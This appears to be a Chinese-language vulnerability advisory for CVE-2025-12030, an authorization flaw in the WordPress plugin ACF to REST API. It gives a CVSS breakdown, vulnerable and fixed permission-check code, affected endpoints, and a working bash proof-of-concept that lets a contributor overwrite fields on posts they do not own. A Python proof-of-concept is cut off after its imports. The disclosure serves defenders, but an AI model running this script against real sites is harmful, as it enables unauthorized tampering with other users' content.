关键词: CVE-2025-12030, ACF to REST API 漏洞, IDOR, WordPress 安全, 经过身份验证的利用, WordPress 插件漏洞, CWE-639, ACF 字段修改, 授权绕过, WordPress CVE 2025, Advanced Custom Fields, REST API 安全
ACF to REST API WordPress 插件 IDOR 漏洞 (CVE-2025-12030) - 安全缺陷,允许具有贡献者级别访问权限的经过身份验证的用户修改不属于他们的对象上的 ACF 字段。
在 ACF to REST API WordPress 插件中发现了一个不安全的直接对象引用 (IDOR) 漏洞,该漏洞允许具有最低权限的经过身份验证的攻击者修改整个 WordPress 安装中的 ACF 字段。
发现者: Kai Aizen (SnailSploit)
发布时间: 2026年1月6日
CVSS 评分: 4.3 (中危)
CWE: CWE-639 - 通过用户控制的密钥绕过授权
插件: ACF to REST API
插件标识: acf-to-rest-api
攻击类型: 不安全的直接对象引用 (IDOR)
所需权限: 贡献者及以上 (经过身份验证的攻击)
WordPress 的 ACF to REST API 插件在包括 3.3.4 在内的所有版本中均存在不安全的直接对象引用漏洞。这是因为 update_item_permissions_check() 方法中的能力检查不足,该方法仅验证当前用户具有 edit_posts 能力,而未检查特定于对象的权限 (例如 edit_post($id), edit_user($id), manage_options)。
此漏洞允许具有贡献者级别及以上的经过身份验证的攻击者:
manage_options 能力即可访问站点范围的 ACF 选项所有修改均可通过 /wp-json/acf/v3/{type}/{id} REST API 端点进行。
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| Metric | Value |
|--------|-------|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | Low (I:L) |
| Availability | None (A:N) |
**CVSS v3.1 详细说明:**
- **Attack Vector (AV):** Network - 该漏洞可通过网络远程利用
- **Attack Complexity (AC):** Low - 利用无需特殊条件
- **Privileges Required (PR):** Low - 需要贡献者级别的认证
- **User Interaction (UI):** None - 利用过程无需任何用户交互
- **Scope (S):** Unchanged - 漏洞仅影响易受攻击的组件
- **Confidentiality Impact (C):** None - 无信息泄露
- **Integrity Impact (I):** Low - 可未授权修改 ACF 字段
- **Availability Impact (A):** None - 无可用性影响
## 技术细节
### 漏洞根本原因
漏洞存在于 `update_item_permissions_check()` 方法中,该方法执行了不充分的授权验证:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
正确的实现应检查对象特定权限:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### 易受攻击的端点
| 端点 | 目标 | 所需能力(应为) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | 文章 | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | 页面 | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | 用户 | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | 评论 | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | 分类术语 | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | 选项 | `manage_options` |
### 攻击向量```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
该漏洞可通过WordPress REST API被任何至少具有贡献者角色的认证用户利用。
⚠️ 仅用于教育和授权测试目的
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""
echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..."
RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')
echo "$RESPONSE" | python3 -m json.tool
echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi
### Python 概念验证```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
import base64